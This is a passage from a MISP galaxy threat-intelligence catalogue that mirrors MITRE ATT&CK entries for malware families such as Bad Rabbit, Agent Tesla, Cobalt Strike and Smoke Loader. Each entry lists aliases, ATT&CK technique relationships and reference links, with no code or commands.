The tag is: *misp-galaxy:mitre-malware="Bad Rabbit - S0606"*

Bad Rabbit - S0606 is also known as:

- Bad Rabbit
- Win32/Diskcoder.D

View relationships graph

Bad Rabbit - S0606 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"

Table 5150. Table References

Links
https://attack.mitre.org/software/S0606
https://securelist.com/bad-rabbit-ransomware/82851/
https://www.dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/

Green Lambert - S0690

[Green Lambert](https://attack.mitre.org/software/S0690) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The

Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://attack.mitre.org/software/S0690) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021)

The tag is: *misp-galaxy:mitre-malware="Green Lambert - S0690"*

Green Lambert - S0690 is also known as:

- Green Lambert

View relationships graph

Green Lambert - S0690 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Login Items - T1547.015" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5151. Table References

Links
https://attack.mitre.org/software/S0690
https://objective-see.com/blog/blog_0x68.html
https://securelist.com/unraveling-the-lamberts-toolkit/77990/

AutoIt backdoor - S0129

[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.

The tag is: *misp-galaxy:mitre-malware="AutoIt backdoor - S0129"*

AutoIt backdoor - S0129 is also known as:

- AutoIt backdoor

View relationships graph

AutoIt backdoor - S0129 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 5152. Table References

Links
https://attack.mitre.org/software/S0129

https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

Agent Tesla - S0331

[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written for the .NET framework that has been observed since at least 2014.(Citation: Fortinet Agent Tesla April 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: Malwarebytes Agent Tesla April 2020)

The tag is: *misp-galaxy:mitre-malware="Agent Tesla - S0331"*

Agent Tesla - S0331 is also known as:

- Agent Tesla

View relationships graph

Agent Tesla - S0331 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5153. Table References

Links
https://attack.mitre.org/software/S0331
https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/
https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html
https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/
https://www.digitrustgroup.com/agent-tesla-keylogger/
https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html

Cobalt Strike - S0154

[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual)

In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: cobaltstrike manual)

The tag is: *misp-galaxy:mitre-malware="Cobalt Strike - S0154"*

Cobalt Strike - S0154 is also known as:

- Cobalt Strike

View relationships graph

Cobalt Strike - S0154 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Argument Spoofing - T1564.010" with estimative-language:likelihood-probability="almost-certain"

Table 5154. Table References

Links
https://attack.mitre.org/software/S0154
https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf

Ragnar Locker - S0481

[Ragnar Locker](https://attack.mitre.org/software/S0481) is a ransomware that has been in use since at least December 2019.(Citation: Sophos Ragnar May 2020)(Citation: Cynet Ragnar Apr 2020)

The tag is: *misp-galaxy:mitre-malware="Ragnar Locker - S0481"*

Ragnar Locker - S0481 is also known as:

- Ragnar Locker

View relationships graph

Ragnar Locker - S0481 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:ransomware="Ragnar Locker" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5155. Table References

Links
https://attack.mitre.org/software/S0481
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://www.cynet.com/blog/cynet-detection-report-ragnar-locker-ransomware/

SYNful Knock - S0519

[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim’s network and provide new capabilities to the adversary.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution)

The tag is: *misp-galaxy:mitre-malware="SYNful Knock - S0519"*

SYNful Knock - S0519 is also known as:

- SYNful Knock

View relationships graph

SYNful Knock - S0519 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Device Authentication - T1556.004" with estimative-language:likelihood-probability="almost-certain"

Table 5156. Table References

Links
https://attack.mitre.org/software/S0519
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://www.mandiant.com/resources/synful-knock-acis

Power Loader - S0177

[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

The tag is: *misp-galaxy:mitre-malware="Power Loader - S0177"*

View relationships graph

Power Loader - S0177 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1055.011" with estimative-language:likelihood-probability="almost-certain"

Table 5157. Table References

Links

https://attack.mitre.org/software/S0177
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/

Brave Prince - S0252

[Brave Prince](https://attack.mitre.org/software/S0252) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://attack.mitre.org/software/S0249), and was seen along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations surrounding the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)

The tag is: *misp-galaxy:mitre-malware="Brave Prince - S0252"*

Brave Prince - S0252 is also known as:

- Brave Prince

View relationships graph

Brave Prince - S0252 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5158. Table References

Links
https://attack.mitre.org/software/S0252
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Smoke Loader - S0226

[Smoke Loader](https://attack.mitre.org/software/S0226) is a malicious bot application that can be used to load other malware. [Smoke Loader](https://attack.mitre.org/software/S0226) has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins. (Citation: Malwarebytes SmokeLoader 2016) (Citation: Microsoft Dofoil 2018)

The tag is: *misp-galaxy:mitre-malware="Smoke Loader - S0226"*

Smoke Loader - S0226 is also known as:

- Smoke Loader
- Dofoil

View relationships graph

Smoke Loader - S0226 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Smoke Loader" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="SmokeLoader" with estimative-language:likelihood-

probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5159. Table References

Links
https://attack.mitre.org/software/S0226
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/

Linux Rabbit - S0362

[Linux Rabbit](https://attack.mitre.org/software/S0362) is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.(Citation: Anomali Linux Rabbit 2018)

The tag is: *misp-galaxy:mitre-malware="Linux Rabbit - S0362"*

Linux Rabbit - S0362 is also known as:

- Linux Rabbit

View relationships graph

Linux Rabbit - S0362 has relationships with:

